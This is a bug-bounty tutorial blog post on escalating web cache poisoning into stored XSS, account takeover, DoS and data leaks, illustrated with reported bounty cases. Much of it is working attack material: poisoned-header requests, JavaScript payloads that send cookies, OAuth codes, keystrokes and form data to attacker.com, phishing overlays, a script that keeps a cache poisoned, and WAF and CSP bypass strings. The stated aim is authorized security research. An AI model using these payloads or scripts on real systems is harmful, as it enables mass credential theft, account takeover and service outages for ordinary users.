Okay, let's take a breath. We've already covered the fundamentals. We've gone through the headache of memorizing 50+ exotic headers in Part 2.
But here's the harsh truth: finding the header is only 10% of the job.
I see so many hunters stop at the reflection. They submit the report, get a quick $500, and move on. But the difference between that $500 bounty and a $20,000 payout usually isn't a different bug — it's just a little bit more patience.
A reflected header is nice. But a stored XSS via cache poisoning? Now we're talking $2,000. Chain that into an account takeover that affects 10,000 users automatically? That's when programs stop arguing about severity and start writing the big checks.
I've spent the last month breaking down the biggest cache poisoning payouts from the last three years, and the pattern is impossible to miss. The researchers making the life-changing money aren't finding "new" magic headers. They're just refusing to stop at the alert box. They are turning minor annoyances into business-critical disasters.
So, let's stop submitting "Low Severity" findings. Here is the playbook on how to weaponize them properly.
1. The XSS Weaponization Ladder
Level 1: Reflected XSS via Cache Poisoning
Bounty Range: $500 — $1,500 Impact: Low (requires victim to visit specific URL)
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com"><script>alert(document.domain)</script>Why it's limited:
- Victim must visit the exact poisoned URL
- Cache might expire before victim visits
- Looks like a typical reflected XSS
Level 2: Stored XSS via Cache Poisoning
Bounty Range: $2,000 — $5,000 Impact: Medium (affects multiple users automatically)
GET /popular-page HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com/xss.jsGenerated Response:
<script src="https://evil.com/xss.js"></script>Why it's better:
- No user interaction needed
- Affects all visitors to popular page
- Demonstrates real impact
Real Case: TikTok Stored XSS via Cache Poisoning — Researcher bypassed URL encoding limitations by poisoning the cache, turning reflected XSS into stored XSS across all modern browsers.

Level 3: Account Takeover via Cookie Theft
Bounty Range: $5,000 — $12,000 Impact: High (mass credential theft)
// Attacker's evil.com/xss.js
fetch('https://attacker.com/steal?cookie=' + document.cookie);Requirements:
- No HttpOnly flag on session cookies
- No CSP blocking external requests
- Popular page with high traffic
Real Case: Expedia Cache Poisoning to Account Takeover (Report #1760213) — The hav cookie was reflected in responses, allowing XSS that stole session cookies. The cache poisoning turned this into a stored XSS affecting all users of that endpoint.
Escalation Tip: Calculate affected users and show mass impact:
"This endpoint receives 50,000 daily visits. Over the 30-second cache TTL,
an estimated 416 users would have their sessions stolen."Level 4: OAuth Flow Hijacking
Bounty Range: $10,000 — $25,000 Impact: Critical (complete account takeover chain)
This is the holy grail. Let me break down the complete attack chain that earned one researcher a massive bounty.
The Complete OAuth Hijack Chain:
Step 1: Poison the Main Page
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com/oauth-hijack.jsStep 2: Attacker's oauth-hijack.js
// Override OAuth callback cookie (even if HttpOnly via meta tag manipulation)
document.cookie = "oauth_callback=https://evil.com/callback; domain=.target.com";
// Redirect user to OAuth flow
window.location = "/oauth/authorize";Step 3: Poison the OAuth Callback Handler
GET /oauth/callback HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com/steal-code.jsStep 4: Steal OAuth Code
// steal-code.js
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
fetch('https://attacker.com/collect?code=' + code);Step 5: Exchange Code for Access Token
curl -X POST https://target.com/oauth/token \
-d "code=STOLEN_CODE" \
-d "client_id=CLIENT_ID" \
-d "client_secret=CLIENT_SECRET"Real Case Study: Web Cache Poisoning to Account Takeover — Joshua Famubode
The researcher discovered:
- Global cache poisoning via X-Forwarded-Host
- OAuth implementation that trusted cookie-based callback URLs
- Ability to override HttpOnly cookies via meta tags
- Cache TTL long enough to affect multiple users
Result: Complete account takeover for any user visiting the poisoned page during the cache window.

2. The Denial of Service Weaponization
Basic DoS: Breaking Asset Loading
Bounty Range: $1,000 — $3,000
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Port: 9999Result: All JavaScript URLs become https://target.com:9999/assets/main.js (unreachable)
Impact: Entire application breaks for all users
Advanced DoS: The Error Page Bomb
Bounty Range: $5,000 — $10,000
GET /api/critical-endpoint HTTP/1.1
Host: target.com
X-Original-URL: /trigger-500-errorWhat happens:
- Cache key:
/api/critical-endpoint - Server processes:
/trigger-500-error - 500 error response gets cached
- All API calls to critical endpoint fail
Real Case: PayPal DoS via Cache Poisoning — $9,700 Bounty
This was the #1 highest-paid web cache report on HackerOne. The researcher caused persistent DoS on PayPal's payment processing endpoints.
Elite DoS: The Redirect Loop Bomb
Bounty Range: $7,000 — $15,000
GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: httpFor applications that enforce HTTPS:
// Server-side code
if (req.headers['x-forwarded-scheme'] !== 'https') {
res.redirect('https://' + req.host + req.url);
}Result:
- Application generates:
https://target.com/ - Browser requests:
https://target.com/ - Cached response redirects to:
https://target.com/(again) - Infinite redirect loop
Real Case: HackerOne DoS Report #409370 — X-Forwarded-Port caused redirect loops on HackerOne.com itself.
Similar Attack: Exodus Cache Poisoning DoS (#1173153) using techniques from Youstin's "Cache Poisoning at Scale" research.

3. Information Disclosure Chains
The Session Token Leak
Bounty Range: $3,000 — $8,000
Attack Pattern:
GET /api/user/profile.css HTTP/1.1
Host: target.comIf cache treats .css as static content:
- API returns:
{"token": "SECRET123", "email": "victim@example.com"} - Cache stores it as CSS file
- Attacker requests same URL
- Gets victim's sensitive data
Real Finding: Lyst Web Cache Poisoning (Report #631589)
The researcher showed:
"Logged-in user visits: https://www.lyst.com/shop/trends/mens-dress-shoes/blahblah.css
Server caches response with user's session data.
Non-logged-in attacker visits same URL and receives the cached authenticated response."The CSRF Token Disclosure
Bounty Range: $2,000 — $6,000
GET /checkout HTTP/1.1
Host: target.com
Accept: application/json
X-Requested-With: XMLHttpRequestIf the server returns JSON with CSRF tokens:
{
"csrf_token": "abc123xyz",
"user_id": "12345"
}And caches it based on path only: All users get the same CSRF token, defeating the protection.
Real Case: Glassdoor CSRF Token Cache Poisoning (#1424094)
The gdToken (anti-CSRF token) was cached across different pages, allowing attackers to:
- Harvest valid CSRF tokens from cache
- Use them in attacks against victims
- Chain with XSS for full account takeover
The Admin Panel Exposure
Bounty Range: $8,000 — $20,000
GET /static/logo.png HTTP/1.1
Host: target.com
X-Original-URL: /admin/dashboardAttack Flow:
- Cache key:
/static/logo.png(considered safe/public) - Server processes:
/admin/dashboard(privileged) - Admin dashboard HTML cached at public endpoint
- Any user accessing
/static/logo.pngsees admin panel
Why it's critical:
- Exposes sensitive admin functionality
- May leak internal configurations
- Could reveal other vulnerabilities
- Affects authentication entirely
Real Research: Documented in James Kettle's "Practical Web Cache Poisoning" showing similar path confusion attacks.

4. The Multi-Stage Attack Chains
Chain 1: Cache Poison → Subdomain Takeover → XSS
Step 1: Find Cache Poisoning
GET / HTTP/1.1
X-Forwarded-Prefix: /../../abandoned-subdomainStep 2: Discover Abandoned Subdomain
$ dig abandoned-subdomain.target.com
# No DNS records, but app references itStep 3: Take Over Subdomain
# Claim abandoned-subdomain.target.com on cloud providerStep 4: Host XSS Payload
<!-- On abandoned-subdomain.target.com -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>Step 5: Trigger Attack Every user visiting the poisoned page loads scripts from your controlled subdomain.
Bounty Range: $10,000 — $18,000
Why it's critical:
- Legitimate subdomain (bypasses CSP)
- Complete control over payload
- Affects all users
- Can persist beyond cache TTL
Chain 2: Cache Poison → Open Redirect → OAuth Phishing
Step 1: Cache Poisoning
GET /oauth/callback HTTP/1.1
X-Forwarded-Host: evil.comStep 2: OAuth Flow Exploitation
User initiates OAuth → Redirected to evil.com/callback with authorization codeStep 3: Phishing Page
<!-- On evil.com/callback -->
<h1>target.com - Complete Your Login</h1>
<form action="https://attacker.com/steal">
<input type="password" name="password" placeholder="Verify your password">
<button>Continue</button>
</form>Why it works:
- URL starts with legitimate domain
- OAuth flow creates trust
- User expects authentication step
- Authorization code already leaked
Bounty Range: $8,000 — $15,000
Chain 3: Cache Deception → Cache Poisoning → Mass Data Leak
Step 1: Find Cache Deception
GET /api/user/profile/nonexistent.css HTTP/1.1If server ignores path suffix and returns profile data as CSS.
Step 2: Combine with Cache Poisoning
GET /api/user/profile/exploit.css HTTP/1.1
X-Forwarded-Host: attacker.com/collect.jsStep 3: Inject Data Exfiltration
// collect.js on attacker.com
const data = document.body.innerText;
fetch('https://attacker.com/leak?data=' + encodeURIComponent(data));Result: Every user's profile data is exfiltrated to attacker's server.
Bounty Range: $12,000 — $25,000
Real Research: Similar techniques documented in PortSwigger's "Web Cache Entanglement"

5. Framework-Specific Weaponization
Next.js Cache Poisoning (CVE-2024–46982)
Critical Vulnerability: CVSS 7.5 (High)
GET /_next/data/[build-id]/page.json HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.comExploitation: The stale-while-revalidate directive in Next.js allows attackers to:
- Poison the ISR (Incremental Static Regeneration) cache
- Serve malicious JavaScript to all users
- Persist even after cache revalidation periods
Real Impact: Next.js Framework Vulnerability Exposes Websites To Cache Poisoning
- Exploited in bug bounty programs
- High-severity findings in e-commerce and fintech
- One instance: Stored XSS extracted sensitive user data from major platform
Bounty Range: $8,000 — $20,000 (depending on platform scope)
WordPress Cache Plugin Exploitation
GET /wp-json/wp/v2/posts HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
X-Original-URL: /wp-admin/admin-ajax.php?action=get_all_usersCommon Issues:
- W3 Total Cache trusts proxy headers
- WP Super Cache doesn't validate X-Forwarded-Host
- LiteSpeed Cache has path confusion issues
Attack: Cache admin API responses at public endpoints
Django Cache Middleware Bypass
# Vulnerable Django settings
MIDDLEWARE = [
'django.middleware.cache.UpdateCacheMiddleware', # Caches before auth!
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.middleware.cache.FetchFromCacheMiddleware',
]Exploitation:
GET /admin/ HTTP/1.1
Cookie: sessionid=attacker_session
X-Forwarded-Host: evil.comIf caching happens before authentication, admin pages get cached with attacker's XSS payload.
6. Geographic & Language-Targeted Attacks
The Selective Poisoning Strategy
Why it's powerful:
- Harder to detect
- Bypasses automated scanners
- Can target specific user demographics
- Increases stealth
Attack 1: Language-Specific Poisoning
GET / HTTP/1.1
Accept-Language: es-ES
X-Forwarded-Host: evil.comResult:
- English users: Clean cache ✅
- Spanish users: Poisoned cache ⚠️
- German users: Clean cache ✅
Defense bypass: Security team tests in English, misses Spanish cache.
Attack 2: Mobile-Only Poisoning
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0)
X-Forwarded-Device: mobile
X-Forwarded-Host: evil.comResult: Only mobile users affected.
Why it works:
- Separate mobile cache
- Mobile often less monitored
- Different CSP policies for mobile
- Larger user base on mobile apps
Attack 3: Country-Specific Poisoning
GET / HTTP/1.1
CloudFront-Viewer-Country: BR
X-Forwarded-Host: evil.comStrategic targets:
- Countries with less security monitoring
- Regions with high user activity
- Countries where support is limited
- Geographic cache partitions
Real Impact: TikTok Ads Cache Deception (#information-leakage) — $200 bounty for geo-targeted information leak.
7. Automation & Mass Exploitation
The Persistent Poisoner Script
import requests
import time
TARGET = "https://target.com/popular-page"
PAYLOAD = "evil.com/xss.js"
CACHE_TTL = 30 # seconds
def poison_cache():
headers = {
'X-Forwarded-Host': PAYLOAD,
'User-Agent': 'Cache-Poison-Bot/1.0'
}
try:
r = requests.get(TARGET, headers=headers)
if r.status_code == 200:
print(f"[+] Cache poisoned at {time.strftime('%H:%M:%S')}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def maintain_poison():
while True:
if poison_cache():
# Wait slightly less than TTL to maintain persistence
time.sleep(CACHE_TTL - 5)
else:
time.sleep(5)
if __name__ == "__main__":
print("[*] Starting persistent cache poisoner...")
maintain_poison()Why automation matters:
- Demonstrates real-world impact
- Shows persistence capability
- Increases severity rating
- Proves mass exploitation potential
⚠️ Warning: Only use on authorized targets with explicit permission.
The Multi-Header Brute Forcer
import requests
from itertools import product
HEADERS = [
'X-Forwarded-Host', 'X-Original-URL', 'X-Rewrite-URL',
'X-Host', 'X-Forwarded-Scheme', 'X-Forwarded-Port'
]
PAYLOADS = [
'evil.com',
'evil.com:8080',
'evil.com"><script>alert(1)</script>',
'/admin',
'http',
'9999'
]
def test_combinations(target):
results = []
# Test all header combinations
for h1, h2 in product(HEADERS, repeat=2):
for p1, p2 in product(PAYLOADS, repeat=2):
headers = {h1: p1, h2: p2}
try:
r = requests.get(target, headers=headers)
# Check for reflection
if p1 in r.text or p2 in r.text:
results.append({
'headers': headers,
'reflected': True,
'status': r.status_code
})
except:
continue
return resultsUse Case: Find header combinations that bypass WAF filters.
8. Impact Demonstration Techniques
The Impact Calculation Formula
Base Impact Score = Cache TTL × Daily Traffic × Attack Success Rate
Example:
- Cache TTL: 300 seconds (5 minutes)
- Daily Traffic: 100,000 visits
- Attack Success Rate: 90% (highly visible page)
Affected Users Per Day = (100,000 / 288) × 0.9 = 312 users per 5-minute window
If maintaining persistent poisoning:
Total Daily Impact = 312 × 288 = 89,856 users potentially affectedPresentation in Report:
"Over the 5-minute cache window, this endpoint receives approximately
347 requests. With persistent poisoning (refreshing every 4 minutes),
an attacker could maintain this attack indefinitely, potentially
affecting 89,856 users per day."The Business Impact Translation
Technical Finding: "Cache poisoning via X-Forwarded-Host leading to XSS"
Business Impact:
IMPACT SUMMARY:
- Attack Surface: Main landing page (100K daily visits)
- Attack Complexity: Low (single HTTP request)
- User Interaction: None required
- Persistence: Can be maintained indefinitely
- Scope: All users visiting domain during cache window
BUSINESS CONSEQUENCES:
1. Session Hijacking: Attackers steal user credentials
2. Brand Damage: Malicious content served under your domain
3. Data Breach: PII and payment information at risk
4. Compliance: GDPR violations for compromised EU users
5. Financial Loss: Estimated $XXX per affected user
ESTIMATED IMPACT:
- Users at risk per day: 89,856
- Potential credential theft: 89,856 accounts
- Estimated financial impact: $XXX,XXX
- Reputational damage: Severe9. Defense Bypass Techniques
Bypassing WAF Rules
Scenario: WAF blocks X-Forwarded-Host with "evil.com"
Bypass 1: Unicode Normalization
X-Forwarded-Host: evil.com # Full-width 'e'Bypass 2: IPv6 Notation
X-Forwarded-Host: [::ffff:192.168.1.1]:evil.comBypass 3: Header Smuggling
X-Forwarded-Host: legitimate.com
X-Forwarded-Host: evil.comSome backends only validate first occurrence, use second.
Bypassing CSP
Scenario: Strict CSP blocks external scripts
Content-Security-Policy: default-src 'self'; script-src 'self'Bypass: Exploit Trusted Subdomain
X-Forwarded-Prefix: //trusted-but-vulnerable-subdomain.target.comIf trusted subdomain has XSS, inject payload there:
<script src="//trusted-but-vulnerable-subdomain.target.com/xss.js"></script>CSP allows it because it's same origin.
Bypassing Input Validation
Scenario: Application checks for "http://" and "https://"
Bypass 1: Protocol-Relative URL
X-Forwarded-Host: //evil.comBypass 2: Data URI
X-Forwarded-Host: data:text/html,<script>alert(1)</script>Bypass 3: JavaScript URI
X-Forwarded-Scheme: javascript
X-Forwarded-Host: void(alert(document.cookie))10. Real-World Case Studies (With Bounties)
Case Study #1: PayPal DoS — $9,700
Report: Top Web Cache Poisoning on HackerOne Target: PayPal Payment Processing Attack Vector: Cache poisoning leading to persistent DoS
Technique: Researcher poisoned critical payment processing endpoints, causing service outage.
Why it paid so well:
- Affected actual payment processing
- Business-critical functionality
- Could impact millions in transactions
- Required immediate fix
Lesson: Target business-critical endpoints for maximum impact.
Case Study #2: Shopify Host Header DoS — $2,900
Report: #themes.shopify.com cache poisoning Attack Vector: Host header manipulation
Impact:
- DoS on Shopify theme marketplace
- Affected all merchants browsing themes
- Prevented theme installations
Why it paid well:
- High-traffic endpoint
- Affected revenue (merchants couldn't buy themes)
- Clear business impact
Case Study #3: Glassdoor XSS Chain — Multiple Reports
Report #1621540: Web Cache Poisoning → Stored XSS Report #1424094: CSRF Token Leak → XSS → Account Takeover
Attack Pattern:
- URL parser confusion
- Reflected XSS cached via cookie/header params
- CSRF token leaked via cache
- Chained for account takeover
Researchers: @nokline and @bombon
Why it paid:
- Multiple vulnerability chain
- Clear account takeover path
- Affected authenticated users
- Mass exploitation possible
Case Study #4: Data.gov Defacement — $750
Report: #303730 Target: catalog.data.gov Attack: X-Forwarded-Host → Defacement
Impact:
- Government website defacement
- XSS on .gov domain
- Public trust issue
Why it paid:
- Government target (higher severity)
- Public-facing defacement
- Reputational damage
Case Study #5: Mozilla Developer Portal DoS — Undisclosed
Report: #1976449 Attack: X-Forwarded-Host causing 404 errors
Technique:
X-Forwarded-Host: [value causing backend error]Result: Indefinite DoS on developer.mozilla.org
Impact:
- Major documentation platform down
- Affects all Firefox developers
- Learning resource unavailable
12. Advanced Hunting Methodology
### The 3-Phase Approach
**Phase 1: Wide Net (2-3 hours)**
- Run automated Param Miner on high-traffic pages
- Test top 20 headers manually on main endpoints
- Look for cache status headers
- Document all findings
**Phase 2: Deep Dive (3-4 hours)**
- Focus on positive findings
- Test header combinations
- Explore framework-specific headers
- Attempt impact escalation
**Phase 3: Weaponization (2-3 hours)**
- Craft exploit chains
- Calculate business impact
- Create PoC video
- Write comprehensive report
---
### The Target Selection Matrix
**Priority 1: E-commerce & Fintech**
- High transaction value
- Sensitive data
- Business-critical endpoints
- **Bounty Multiplier: 2-3x**
**Priority 2: Social Media & Communications**
- Large user base
- Session-based attacks
- Account takeover potential
- **Bounty Multiplier: 1.5-2x**
**Priority 3: SaaS & B2B**
- Shared infrastructure
- Multi-tenant risks
- Enterprise clients
- **Bounty Multiplier: 1.5-2x**
**Priority 4: Government & Education**
- Public trust
- Compliance requirements
- Sensitive data
- **Bounty Multiplier: 1-1.5x**
---
## Conclusion: Your Complete Arsenal
You now have the complete weaponization playbook:
✅ **XSS Escalation Ladder** - From $500 reflected to $25K account takeover
✅ **DoS Techniques** - Basic asset breaking to elite redirect loops
✅ **Information Disclosure** - Session leaks to admin panel exposure
✅ **Multi-Stage Chains** - 3-step attacks earning $20K+
✅ **Framework Exploits** - Next.js, WordPress, Django specific techniques
✅ **Geographic Targeting** - Selective poisoning for stealth
✅ **Automation Scripts** - Scale your testing and maintain persistence
✅ **Impact Demonstration** - Calculate affected users and business impact
✅ **Defense Bypasses** - WAF, CSP, and input validation circumvention
✅ **Real Case Studies** - $9,700 PayPal, $2,900 Shopify, and more
✅ **Report Templates** - Professional write-ups that get paid
13. The Mental Model: Thinking Like a $20K Researcher
### What Separates Good from Great
**Good Researchers Find:**
- "X-Forwarded-Host reflects in response"
- Impact: Reflected XSS
- Bounty: $500
**Great Researchers Find:**
- "X-Forwarded-Host reflects on high-traffic OAuth callback page"
- "No HttpOnly on session cookies"
- "Can override callback URL via cookies"
- "Cache TTL is 5 minutes with 10K daily traffic"
- Impact: Mass account takeover affecting 347 users per cache cycle
- Bounty: $15,000
**The Difference:**
- Context awareness
- Impact thinking
- Chain building
- Business understanding
- Quantification
---
### The Critical Questions Framework
**Before Submitting Any Report, Ask:**
1. **Can I chain this?**
- What other vulnerabilities exist nearby?
- Can I combine cache poisoning with CSRF/XSS/Open Redirect?
- Is there a subdomain takeover opportunity?
2. **Who is affected?**
- High-traffic pages = higher impact
- Authenticated users = session theft possible
- Admin panels = critical escalation
- API endpoints = data exposure
3. **How persistent is it?**
- Cache TTL duration
- Can I maintain it indefinitely?
- Does it affect multiple cache layers?
- Regional variations?
4. **What's the business impact?**
- Revenue loss calculations
- Compliance violations (GDPR, PCI-DSS)
- Reputational damage
- Customer data at risk
5. **How do I prove it at scale?**
- Multiple victim simulation
- Different browsers/devices
- Geographic distribution
- Persistence demonstration
14. Common Weaponization Mistakes
### Mistake #1: Stopping at Reflection
**Bad Report:**
Title: Cache Poisoning on /page
Description: X-Forwarded-Host reflects in HTML
Impact: XSS possible
Title: Cache Poisoning on /page Description: X-Forwarded-Host reflects in HTML Impact: XSS possible
**Good Report:**
Title: Mass Account Takeover via Cache Poisoning on OAuth Callback Description: X-Forwarded-Host poisoning on /oauth/callback allows stealing authorization codes for all users during 5-minute cache window Impact: Complete account takeover for ~350 users per cycle
**Fix:** Always escalate to worst-case scenario.Mistake #2: Ignoring Cache Scope
Bad Thinking: "I found cache poisoning, submit it!"
Good Thinking:
- Is it edge cache or origin cache? (Edge = wider impact)
- Is it per-user or global? (Global = critical)
- What's the cache hierarchy? (Multiple layers = persistence)
- Geographic partitioning? (Can target specific regions)
Fix: Map the entire cache architecture before claiming impact.
Mistake #3: Not Testing on Real Users
Bad PoC: "I can poison the cache from my IP"
Good PoC: "I poisoned from IP A (VPN US), verified from IP B (VPN EU), affected users confirmed via Burp Collaborator callbacks from 15 different IPs over 3 minutes"
Fix: Simulate real victim scenarios with proof.
Mistake #4: Underestimating Business Context
Technical: "XSS via cache poisoning" Value: $1,000
Business: "XSS on checkout page during Black Friday period could steal payment information from 50,000 daily users, violating PCI-DSS compliance and causing estimated $2M in fraud losses" Value: $15,000
Fix: Translate technical findings into business risk.
Mistake #5: Not Documenting Affected User Count
Weak Impact: "Users visiting the page will be affected"
Strong Impact:
AFFECTED USER CALCULATION:
- Endpoint: /checkout (business-critical)
- Daily Traffic: 50,000 visits (from public analytics)
- Cache TTL: 300 seconds (5 minutes)
- Visits per TTL: 50,000 / 288 = 173 users per 5-min window
- With persistent poisoning: 50,000 users/day at risk
- Over 24 hours of maintained attack: 50,000 user sessions stolenFix: Always quantify with real numbers.
15. The Weaponization Checklist
Before submitting any cache poisoning report, verify:
### Technical Verification
- [ ] Cache hit confirmed from different IP
- [ ] Cache hit confirmed from different browser
- [ ] Cache hit confirmed in incognito/private mode
- [ ] Cache TTL documented with Age header
- [ ] Cache key components identified
- [ ] Unkeyed input clearly documented
### Impact Verification
- [ ] XSS execution demonstrated (if applicable)
- [ ] Session theft proven (if applicable)
- [ ] Data exfiltration shown (if applicable)
- [ ] Account takeover path documented
- [ ] Mass exploitation demonstrated
### Scope Verification
- [ ] Daily traffic calculated or estimated
- [ ] Affected user count quantified
- [ ] Geographic scope identified
- [ ] User demographics noted (authenticated/anonymous)
- [ ] Business-critical endpoints prioritized
### Chaining Opportunities
- [ ] Tested for subdomain takeover chains
- [ ] Checked for open redirect combinations
- [ ] Explored CSRF token leakage
- [ ] Investigated OAuth flow hijacking
- [ ] Verified cookie theft possibilities
### Documentation
- [ ] Video PoC recorded and uploaded
- [ ] HTTP requests/responses captured
- [ ] Timeline documented
- [ ] Business impact explained
- [ ] Remediation suggested
- [ ] References cited
---16. Advanced Payload Library
XSS Payloads for Cache Poisoning
Basic Alert:
X-Forwarded-Host: evil.com"><script>alert(document.domain)</script>Cookie Theft:
X-Forwarded-Host: evil.com/steal.js
# steal.js content:
fetch('https://attacker.com/?c='+document.cookie);Keylogger:
X-Forwarded-Host: evil.com/keylog.js
//keylog.js content:
document.addEventListener('keypress', e => {
fetch('https://attacker.com/?key='+e.key);
});Form Hijacking:
X-Forwarded-Host: evil.com/hijack.js
// hijack.js content:
document.querySelectorAll('form').forEach(f => {
f.addEventListener('submit', e => {
fetch('https://attacker.com/?' + new URLSearchParams(new FormData(f)));
});
});Phishing Overlay:
X-Forwarded-Host: evil.com/overlay.js
//overlay.js content:
const div = document.createElement('div');
div.innerHTML = '<form style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999"><h1>Session Expired - Re-login</h1><input name="password" type="password"><button>Login</button></form>';
document.body.appendChild(div);DoS Payloads
Port Manipulation:
X-Forwarded-Port: 99999
X-Forwarded-Port: -1
X-Forwarded-Port: @evil.comProtocol Confusion:
X-Forwarded-Scheme: file
X-Forwarded-Scheme: ftp
X-Forwarded-Scheme: javascriptPath Destruction:
X-Original-URL: /../../../../../../etc/passwd
X-Original-URL: /.%00./.%00./
X-Original-URL: /admin\x00Encoding Bombs:
Accept-Encoding: gzip,gzip,gzip,gzip,gzip (repeat 1000x)
Accept-Encoding: */*/*/*/* (invalid)Information Disclosure Payloads
Extension Confusion:
GET /api/user/profile.css HTTP/1.1
GET /api/user/profile.js HTTP/1.1
GET /api/user/profile.png HTTP/1.1
GET /api/user/profile.woff HTTP/1.1Path Traversal:
X-Original-URL: /api/internal/config
X-Original-URL: /admin/users/export
X-Original-URL: /.envAPI Version Confusion:
GET /api/v1/users HTTP/1.1
X-Original-URL: /api/v2/admin/users17. Real-World Testing Scenarios
Scenario 1: E-commerce Platform
Target: Online store with 1M daily users
Attack Path:
- Reconnaissance:
- Identify: Checkout flow uses
/checkoutendpoint - Traffic: ~100K daily checkout attempts
- Cache: Cloudflare with 5-min TTL
2. Exploitation:
GET /checkout HTTP/1.1
X-Forwarded-Host: attacker.com/fake-payment.js3. Impact:
- Inject fake payment form
- Steal credit card numbers
- 347 users affected per 5-min cycle
- PCI-DSS violation
Scenario 2: SaaS Authentication
Target: B2B SaaS platform with OAuth SSO
Attack Path:
- Reconnaissance:
- OAuth callback:
/auth/callback - No HttpOnly on state cookie
- Callback URL from cookie value
2. Exploitation Chain:
# Step 1: Poison main page
GET / HTTP/1.1
X-Forwarded-Host: attacker.com/oauth-hijack.js
# oauth-hijack.js sets malicious callback
document.cookie = "oauth_callback=https://attacker.com/steal";
# Step 2: Poison callback handler
GET /auth/callback HTTP/1.1
X-Forwarded-Host: attacker.com/steal-code.js3. Impact:
- Full OAuth flow hijacking
- Authorization codes leaked
- Complete account takeover
- Multi-tenant data breach risk
Scenario 3: Media Platform
Target: Video streaming service
Attack Path:
- Reconnaissance:
- Video player page:
/watch?v=12345 - High traffic: 500K daily video views
- Mobile app shares same cache
2. Exploitation:
GET /watch?v=12345 HTTP/1.1
User-Agent: Mobile App/1.0
X-Forwarded-Host: attacker.com/malware.js3. Impact:
- Mobile users exclusively targeted
- Malware distribution via trusted domain
- Ad fraud injection
- Subscriber credential theft
4. Report Value: $10,000 — $18,000
[IMAGE PLACEHOLDER: Three-column comparison table showing these scenarios with attack flow, impact, and bounty range]
18. Building Your Cache Poisoning Portfolio
The 30-Day Plan
Days 1–5: Foundation
- Review all 3 parts of this guide
- Set up testing environment (Burp Suite Pro)
- Install Param Miner and configure wordlists
- Study 10 disclosed cache poisoning reports
- Take notes on patterns
Days 6–10: Basic Testing
- Choose 3 programs with good cache poisoning history
- Test top 20 headers on main pages
- Document all findings (even negatives)
- Practice PoC creation
- Submit first report (even if low-value)
Days 11–20: Advanced Techniques
- Test header combinations
- Explore framework-specific attacks
- Practice impact escalation
- Create video PoCs
- Test geographic variations
Days 21–30: Weaponization
- Focus on high-impact chains
- Calculate business impact
- Perfect your reporting
- Automate repetitive tasks
- Submit 2–3 quality reports
Expected Results:
- 1–2 valid reports
- Deep understanding of attack class
- Foundation for ongoing success
The Long-Term Strategy
Month 2–3: Specialization
- Pick 2–3 frameworks to master (Next.js, WordPress, Laravel)
- Develop custom tools for your workflow
- Build relationship with specific programs
- Share findings on Twitter (redacted)
- Network with other researchers
Month 4–6: Scaling
- Automate discovery with custom scripts
- Test multiple targets simultaneously
- Focus on high-value programs
- Develop signature techniques
Month 6–12: Mastery
- Discover 0-day techniques
- Write research papers/blogs
- Conference presentations
- Mentor newcomers
20. The Ultimate Resource List
Must-Read Research Papers
- The foundational paper that started it all
- Must-read before any cache poisoning work
2. Web Cache Entanglement — James Kettle
- Advanced techniques for 2020+
- Fat GET requests and cache key normalization
3. Cache Poisoning at Scale — Youstin
- Rails-specific techniques
- Real bounty case studies
4. Gotta Cache 'Em All — PortSwigger
- Latest research (2024)
- Modern CDN behaviors
Essential Tools
Discovery:
- Param Miner — Unkeyed input discovery
- Cache Buster — Custom cache testing
- Web Cache Vulnerability Scanner — Automated scanning
Testing:
- Burp Suite Professional (essential)
- curl with custom headers
- Postman for API testing
- Browser DevTools (Network tab)
Automation:
Collaboration:
- Burp Collaborator — OOB interactions
- Interactsh — Open-source alternative
Top HackerOne Reports to Study
- Highest-paid web cache report
- Business-critical impact
2. Shopify Host Header DoS — $2,900
- X-Forwarded-Host exploitation
- E-commerce impact
3. Glassdoor XSS Chain — Multiple Reports
- Multi-vulnerability chain
- Account takeover escalation
- Government target
- Public defacement
- X-Forwarded-Port attack
- Dogfooding vulnerability
6. Expedia Cookie Reflection — $XXX
- Cookie-based cache poisoning
- Session theft potential
Community Resources
Twitter Accounts to Follow:
- @albinowax — James Kettle (PortSwigger)
- @intigriti — Bug bounty platform
- @Bugcrowd — Bug bounty platform
- @HackerOne — Bug bounty platform
- Search: #CachePoisoning hashtag
Discord Servers:
- Nahamsec's Discord
- Bug Bounty Forum
- OWASP Slack
Blogs:
Final Thoughts: Your Path to $20K Findings
Cache poisoning isn't just about finding unkeyed headers. It's about:
- Understanding systems — How caches work, how frameworks process headers, how CDNs route traffic
- Thinking creatively — Chaining vulnerabilities, bypassing defenses, maximizing impact
- Business awareness — Translating technical findings into business risk
- Persistence — Testing systematically, documenting thoroughly, following up consistently
- Continuous learning — Studying new research, adapting techniques, sharing knowledge
The researchers earning $20K+ aren't necessarily smarter — they're more strategic. They:
- Target high-value endpoints
- Chain multiple vulnerabilities
- Quantify business impact
- Present findings professionally
- Build relationships with programs
You now have everything you need:
- Technical foundations (Part 1)
- 50+ exotic headers (Part 2)
- Weaponization techniques (Part 3)
- Real case studies with bounties
- Testing methodologies
- Report templates
- Resource lists
The Three-Part Series Recap
Part 1: Advanced Fundamentals
- Cache key architecture across CDNs
- Detection techniques (Cache Oracle, timing attacks)
- Response splitting in modern contexts
- Comprehensive testing methodology
Part 2: Exotic Header Exploitation
- 50+ headers beyond X-Forwarded-Host
- Framework-specific techniques
- Real HackerOne reports with links
- Header chaining strategies
Part 3: Advanced Weaponization
- XSS escalation ladder ($500 → $25K)
- DoS techniques earning $9,700+
- Multi-stage attack chains
- Business impact demonstration
- Real case studies with bounties
- Complete hunting methodology
Closing Challenge
30-Day Challenge: Using only the techniques in this guide:
- Find 3 cache poisoning vulnerabilities
- Escalate at least 1 to critical impact
- Earn your first $2,000+ bounty
- Share your (redacted) success story
Acknowledgments
This research builds on the shoulders of giants:
- James Kettle (@albinowax) — For pioneering practical cache poisoning research
- PortSwigger Research Team — For continuing to push boundaries
